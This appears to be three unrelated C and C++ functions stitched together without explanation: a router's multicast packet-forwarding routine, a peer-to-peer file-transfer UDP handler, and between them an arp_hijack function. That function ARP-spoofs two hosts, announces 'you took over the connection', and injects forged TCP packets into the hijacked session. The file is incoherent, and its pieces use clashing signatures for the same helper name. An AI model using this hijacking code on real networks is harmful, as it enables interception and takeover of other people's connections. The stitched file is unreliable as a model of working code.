void Router::forward_incoming_data_packet(Packet* p){ if( p == NULL){ //check for null packet std::cout << "Rxed packet is NULL !\n"; exit(1); } std::cout << "Rxed data packet which ll be forwarded is:\n"; print_data_packet(p); //Correct packets will be sent to correct ports send_data_packet(p); }
void Router::send_data_packet(Packet* p){ //std::cout << "The following packet ll be sent:" << std::endl; //print_data_packet(p); PacketHdr *hdr = p->accessHeader(); char num_addr = hdr->getOctet(NUM_ADDR_INDEX); int int_num_addr = (int)(num_addr-'0'); if(int_num_addr == 1 && hdr->getOctet(NUM_ADDR_INDEX+1) == id){ //if the packet is uni and targeted to me std::cout << "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"; std::cout << "DATA PACKET TARGETED TO ME IS RXED: \n"; print_data_packet(p); std::cout << "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"; return; } int* f_ports = forward_rxed_data_packet_to_port(p); //Use the "goodness" of at most 3 MC receivers std::vector <int> ports_done; std::vector <char> temp_dests; for(int i=0; i<int_num_addr; i++){ int curr_port = f_ports[i]; temp_dests.clear(); if(std::find(ports_done.begin(), ports_done.end(), curr_port) == ports_done.end()){ //not contained temp_dests.push_back(hdr->getOctet(NUM_ADDR_INDEX+i+1)); for(int j=i+1; j<int_num_addr; j++){ if(curr_port == f_ports[j]) temp_dests.push_back(hdr->getOctet(NUM_ADDR_INDEX+j+1)); } char* dest_addrs = new char[temp_dests.size()+1]; for(int k=0; k<temp_dests.size(); k++){ dest_addrs[k] = temp_dests.at(k); } dest_addrs[temp_dests.size()] = (char)'\0'; //hdr->getOctet(PAYLOAD_SIZE_INDEX(temp_dests.size())) int payload_size = strlen(p->getPayload()); char* payload = new char[payload_size]; strcpy(payload, p->getPayload()); Packet* new_p = create_data_packet('m', (char)((int)(hdr->getOctet(TTL_INDEX)-'0')-1), hdr->getOctet(SRC_ADDR_INDEX), '0'+temp_dests.size(), dest_addrs, payload_size, payload); send_packet_over_port(new_p, curr_port); //std::cout << "The following packet ll be sent over port:" << curr_port << std::endl; //print_data_packet(p); // ports_done.push_back(curr_port); } } }
void Router::send_packet_over_port(Packet* p, int port){ char correspoding_nhop = port_nhop.find(port)->second; for(int i=0; i<num_neighbors; i++){ if(nbr_tbl.at(i).id[0] == correspoding_nhop){ //corresponding port index -> i //send disc message try{ std::cout << "==================================\n"; std::cout << "The following packet is being sent over TxP:" << nbr_tbl.at(i).TxP << "_DstP:" << nbr_tbl.at(i).DstP << std::endl; print_data_packet(p); std::cout << "==================================\n"; txing_ports[i]->sendPacket(p); }catch(const char *reason){ cerr << "Exception:" << reason << endl; } } } }
int arp_hijack(struct conn_info *ci, char *src_fake_mac, char *dst_fake_mac, int input_mode) { struct iphdr *iph; struct tcphdr *tcph; struct tcp_spec ts; struct ifunc_item ifunc_dst, ifunc_src; struct packet *p; int count_dst = 0, count_src = 0; pthread_t thr_tty; struct watch_tty_data wtd; asi_src = asi_dst = NULL; dont_relay = arp_dont_relay_insert(ci->src_addr, ci->dst_addr, ci->src_port, ci->dst_port); if (src_fake_mac) { if (!(asi_src = start_arp_spoof(ci->src_addr, ci->dst_addr, NULL, NULL, NULL, 0, 0, 0))) { asi_src = start_arp_spoof(ci->src_addr, ci->dst_addr, ci->src.src_mac, ci->dst.src_mac, src_fake_mac, 0, 0, 0); } } else asi_src = get_arp_spoof(ci->src_addr, ci->dst_addr); if (asi_src && user_arpspoof_test(asi_src)) { if (user_run_arpspoof_until_successed(asi_src)) { set_tty_color(COLOR_BRIGHTRED); printf("ARP spoof of %s in host %s FAILED\n", host_lookup(asi_src->src_addr, hl_mode), host_lookup(asi_src->dst_addr, hl_mode)); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); if (src_fake_mac) stop_arp_spoof(asi_src); asi_src = NULL; } } if (dst_fake_mac) { if (!(asi_dst = start_arp_spoof(ci->dst_addr, ci->src_addr, NULL, NULL, NULL, 0, 0, 0))) { asi_dst = start_arp_spoof(ci->dst_addr, ci->src_addr, ci->dst.src_mac, ci->src.src_mac, dst_fake_mac, 0, 0, 0); } } else asi_dst = get_arp_spoof(ci->dst_addr, ci->src_addr); if (asi_dst && user_arpspoof_test(asi_dst)) { if (user_run_arpspoof_until_successed(asi_dst)) { set_tty_color(COLOR_BRIGHTRED); printf("ARP spoof of %s in host %s FAILED\n", host_lookup(asi_dst->src_addr, hl_mode), host_lookup(asi_dst->dst_addr, hl_mode)); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); if (dst_fake_mac) stop_arp_spoof(asi_dst); asi_dst = NULL; } } set_tty_color(COLOR_WHITE); printf("you took over the connection\n"); set_tty_color(COLOR_BRIGHTRED); printf("CTRL-] to break\n"); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); wtd.src_fake_mac = asi_src ? asi_src->src_fake_mac : ci->src.src_mac; wtd.ci = ci; wtd.input_mode = input_mode; list_produce_start(&l_hijack_conn); pthread_create(&thr_tty, NULL, (void *(*)(void *)) watch_tty, &wtd); ifunc_dst.func = (void(*)(struct packet *, void *)) func_hijack_dst; ifunc_dst.arg = ci; list_enqueue(&l_ifunc_tcp, &ifunc_dst); ifunc_src.func = (void(*)(struct packet *, void *)) func_hijack_src; ifunc_src.arg = ci; list_enqueue(&l_ifunc_tcp, &ifunc_src); while ((p = list_consume(&l_hijack_conn, NULL))) { iph = p->p_iph; tcph = p->p_hdr.p_tcph; if (iph->saddr == ci->dst_addr && iph->daddr == ci->src_addr && tcph->source == ci->dst_port && tcph->dest == ci->src_port) { /* packet from dest */ if (p->p_data_len) { print_data_packet(p, p->p_data_len, ++count_dst, 1); packet_free(p); /* send ACK */ memset(&ts, 0, sizeof(ts)); ts.saddr = ci->src_addr; ts.daddr = ci->dst_addr; ts.sport = ci->src_port; ts.dport = ci->dst_port; ts.src_mac = asi_src ? asi_src->src_fake_mac : ci->src.src_mac; ts.dst_mac = ci->dst.src_mac; ts.seq = ci->dst.next_d_seq; ts.ack_seq = ci->dst.next_seq; ts.window = ci->src.window ? ci->src.window : htons(242); ts.id = htons(ntohs(ci->src.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; ts.data = NULL; ts.data_len = 0; send_tcp_packet(&ts); } else packet_free(p); } else { if (p->p_data_len) { /* packet from source */ print_data_packet(p, p->p_data_len, ++count_src, 0); memset(&ts, 0, sizeof(ts)); ts.saddr = ci->dst_addr; ts.daddr = ci->src_addr; ts.sport = ci->dst_port; ts.dport = ci->src_port; ts.src_mac = asi_dst ? asi_dst->src_fake_mac : ci->dst.src_mac; ts.dst_mac = ci->src.src_mac; ts.seq = ci->src.next_d_seq; ts.ack_seq = ci->src.next_seq; ts.window = ci->dst.window ? ci->dst.window : htons(242); ts.id = htons(ntohs(ci->dst.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; if (p->p_data[0] == '\r' || p->p_data[0] == '\n') { ts.data = "\r\n$ "; ts.data_len = 4; } else { ts.data = p->p_data; ts.data_len = p->p_data_len; } send_tcp_packet(&ts); } packet_free(p); } } list_remove(&l_ifunc_tcp, &ifunc_dst); list_remove(&l_ifunc_tcp, &ifunc_src); packet_flush(&l_hijack_conn); pthread_join(thr_tty, NULL); return 0; }
void process_inbound_udp(int sock) { struct sockaddr_in from; socklen_t fromlen; char buf[MAX_PACKET_LENGTH]; fromlen = sizeof(from); int read_result = spiffy_recvfrom(sock, buf, MAX_PACKET_LENGTH, 0, (struct sockaddr *) &from, &fromlen); printf("read %d bytes\n", read_result); //printf("incoming message from %s:%d\n", inet_ntoa(from.sin_addr), ntohs(from.sin_port)); /* we just assume we got one packet everytime * if there are multiple packets in the buffer (whichi is rare), we just ignore them, * and everything will just work fine. */ struct network_packet_s* network_packet = (struct network_packet_s*)buf; net_to_host_header(& network_packet->header); print_packet_header(&network_packet->header); if(validate_packet(& network_packet->header) < 0){ printf("packet is invalid, skip\n"); return; } int packet_type = get_packet_type(& network_packet->header); /* get the peer who send this packet*/ bt_peer_t* peer = search_bt_peer(&config, (struct sockaddr *)&from); switch(packet_type) { case TYPE_WHOHAS: { struct network_packet_s* ihave_packet = malloc_ihave_packet(network_packet); /* this node has no such chunk */ if(ihave_packet == NULL){ return; } else{ //print_ihave_packet(ihave_packet); send_packet(ihave_packet, global_socket, (struct sockaddr *) &from); free(ihave_packet); } break; } case TYPE_IHAVE: { if(current_job == NULL){ return; } /* receiving a new IHAVE packet */ /* check whether there is alreay a connection with this peer */ struct receiver_connection_s* existing_connection = search_receiver_connection(receiver_connection_head, peer); if(existing_connection != NULL){ /* there is alreay a connection */ add_ihave_to_receiver_connection(existing_connection, network_packet); } /* there is no such connection */ else{ /* check if the number of connection reached the maximum */ if(get_receiver_connection_number(receiver_connection_head) >= max_receiver_connection){ return; } /* add add the hash whose chunk is in a CHUNK_STATUS_NOT_FOUND status * to a new connection */ else{ struct receiver_connection_s* new_connection = malloc_receiver_connection(network_packet, peer); /* if every chunk has a provider, the new_connection is NULL */ if(new_connection != NULL){ add_receiver_connection(new_connection); /* start the new connection */ struct network_packet_s* get_packet = start_connection(new_connection); //print_get_packet(get_packet); free(get_packet); } } } //print_receiver_connection_list(receiver_connection_head); break; } case TYPE_GET: { //print_get_packet(network_packet); /* check whether there is alreay a connection with this peer */ if(search_provider_connection(provider_connection_head, peer) != NULL){ printf("Provider connection already exists with peer %d , ignore GET\n", peer->id); return; } /* do nothing is the number of connection reached the maximum*/ if(get_provider_connection_number(provider_connection_head) >= max_provider_connection){ printf("Provider connection reached maximum with peer %d \n", peer->id); return; } struct provider_connection_s* new_connection = malloc_provider_connection(network_packet, peer); if(new_connection != NULL){ printf("Add new provider connection with peer %d \n", peer->id); add_provider_connection(new_connection); //print_provider_connection(new_connection); } //print_provider_connection_list(provider_connection_head); break; } case TYPE_DATA: { print_data_packet(network_packet); printf("received data packet, seq: %d, ack: %d\n ", network_packet->header.seq_number, network_packet->header.ack_number); /* check whether there is a connection with this peer */ struct receiver_connection_s* receiver_connection = search_receiver_connection(receiver_connection_head, peer); /* connection does not exist, ignore the data packet */ if(receiver_connection == NULL){ return; } int existing_seq_num = receiver_connection->chunk_list_head->chunk->received_seq_num; printf("expected data packet, seq: %d \n", 1 + existing_seq_num); int packet_seq_num = network_packet->header.seq_number; /* sequence number is illegal */ if(packet_seq_num < 0){ return; } /* old packet arrived, do nothing */ else if(packet_seq_num < (existing_seq_num + 1)){ return; } /* latter packet arrived first, send duplicate ACK */ else if(packet_seq_num > (existing_seq_num + 1)){ struct network_packet_s* ack_packet = malloc_ack_packet(existing_seq_num); send_packet(ack_packet, global_socket, (struct sockaddr *) &from); free(ack_packet); return; } /* the packet expected */ else{ gettimeofday(&receiver_connection->last_data_time, NULL); receiver_connection->status = RECEIVER_STATUS_RECEIVED_DATA; struct network_packet_s* ack_packet = malloc_ack_packet(1 + existing_seq_num); send_packet(ack_packet, global_socket, (struct sockaddr *) &from); free(ack_packet); /* save_data_packet */ save_data_packet(network_packet, receiver_connection); /* save the downloading chunk of the connnection, if it finihsed */ save_chunk(receiver_connection); /* continue to download next chunk, if finished first one */ reset_receiver_connection(receiver_connection); } break; } case TYPE_ACK: { //print_ack_packet(network_packet); struct provider_connection_s* provider_connection = search_provider_connection(provider_connection_head, peer); if(provider_connection == NULL){ return; } provider_control_by_ack(provider_connection, network_packet->header.ack_number); /* check if the data has been all send to a receiver */ if(provider_connection->last_packet_acked == CHUNK_DATA_NUM){ /* download finished */ finish_provider_connection(provider_connection); } break; } case TYPE_DENIED: { break; } default:{ break; } } }